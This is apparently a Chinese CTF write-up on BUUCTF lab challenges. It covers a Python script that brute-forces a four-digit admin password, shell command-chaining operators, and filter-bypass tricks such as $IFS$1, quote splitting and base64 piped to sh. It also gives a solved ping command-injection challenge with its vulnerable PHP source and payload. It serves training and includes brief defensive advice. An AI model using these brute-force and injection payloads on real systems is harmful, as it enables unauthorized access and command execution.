暴力破解和命令执行
暴力破解
介绍一款字典软件:
文档说明在docs/doc/usage.md中
BUU BRUTE 1
我们尝试输入用户名admin,密码四位数爆破即可登录成功。
只有四位数的话
代码如下:
import requests
import time
session = requests.session()
burp0_url = "http://0691d399-5f84-41fd-8cc0-8125e81d6ea0.node4.buuoj.cn:81/"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,en-US;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Referer": "http://33611422-a37c-4555-bf6d-950ed031f208.node4.buuoj.cn:81/", "Upgrade-Insecure-Requests": "1"}
for p in range(1000, 10000):
print("try" + str(p) + "...")
params = {
'username': 'admin',
'password': str(p)
}
try:
ret = session.get(burp0_url, headers=burp0_headers, params=params, timeout=5)
except Exception as e:
print(e)
continue
time.sleep(0.05)
if "429" in ret.text:
print("too quick!!")
if "密码错误" not in ret.text:
print(str(p) + "---" + ret.text)
break
最后也是在第6490时回显到了flag。
而要防守的话,其实也很简单。
o登录尝试超过次数,锁定账号
oIP登录次数超过阈值,封IP
缺点:如果若干用户共用同一IP,也会导致其他用户登录不了
命令执行
介绍一些链接命令的符号。
windows
| 直接执行后面的语句,如ping www.baidu.com|whoami
|| 如果前面的语句执行出错,则执行后面的。如ping 2||whoami
& 前面的语句可真可假。如ping 2&whoami
&& 前面的语句为真时,才执行后面的语句。如ping www.baidu.com && whoami
linux
| 管道符,直接执行后面的语句,如ping -c 4 127.0.0.1 | whoami
|| 如果前面的语句执行出错,则执行后面的。如ping -c 4 2 || whoami
; 执行完前面的,直接执行后面的;如ping -c 4 127.0.0.1; whoami
&& 前面的语句为真时,才执行后面的语句。如ping -c 4 127.0.0.1 && whoami
一些命令绕过
绕过空格
o$IFS$1
$IFS在bash中默认是空格
测试:
echo "cat${IFS}flag"
后面加1表示接上参数。
o{cat,flag}
ocat<flag
重定向输出。
ocat<>flag
输入和输出都重定向也是可以的。
完整的测试代码
ljy@ubuntu:~$ cat flag
flag{asfsafsaf}
ljy@ubuntu:~$ cat$IFS$1flag
flag{asfsafsaf}
ljy@ubuntu:~$ {cat,flag}
flag{asfsafsaf}
ljy@ubuntu:~$ cat<flag
flag{asfsafsaf}
ljy@ubuntu:~$ cat<>flag
flag{asfsafsaf}
关键词绕过
比如限制了我flag这个字符串
那么我们可以有以下姿势:
变量拼接
ljy@ubuntu:~$ a=fl;b=ag;cat $a$b;
flag{asfsafsaf}
反引号
ljy@ubuntu:~$ echo "pwd `pwd`"
pwd /home/ljy
反引号,引号,反斜杠绕过
ljy@ubuntu:~$ cat fl``ag``
flag{asfsafsaf}
ljy@ubuntu:~$ cat f\lag
flag{asfsafsaf}
ljy@ubuntu:~$ cat f'l'ag
flag{asfsafsaf}
ljy@ubuntu:~$ cat f"l"ag
flag{asfsafsaf}
编码绕过
通过管道符解密,再传给sh执行。
ljy@ubuntu:~$ echo "cat flag" | base64
Y2F0IGZsYWcK
ljy@ubuntu:~$ echo Y2F0IGZsYWcK | base64 -d
cat flag
ljy@ubuntu:~$ echo Y2F0IGZsYWcK | base64 -d | sh
flag{asfsafsaf}
练习
buu-pingpingping
我们命令注入
1;ls
出来了index和flag
通过$IFS$1可以绕过空格。
我们于是绕过得到iudex.php源码
源代码
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
flag是贪婪匹配,且过滤了很多字符
比较自然想到的就是变量拼接。
变量拼接
1;a=.php;b=index;cat$IFS$1$b$a
其他方法可以看我往期博客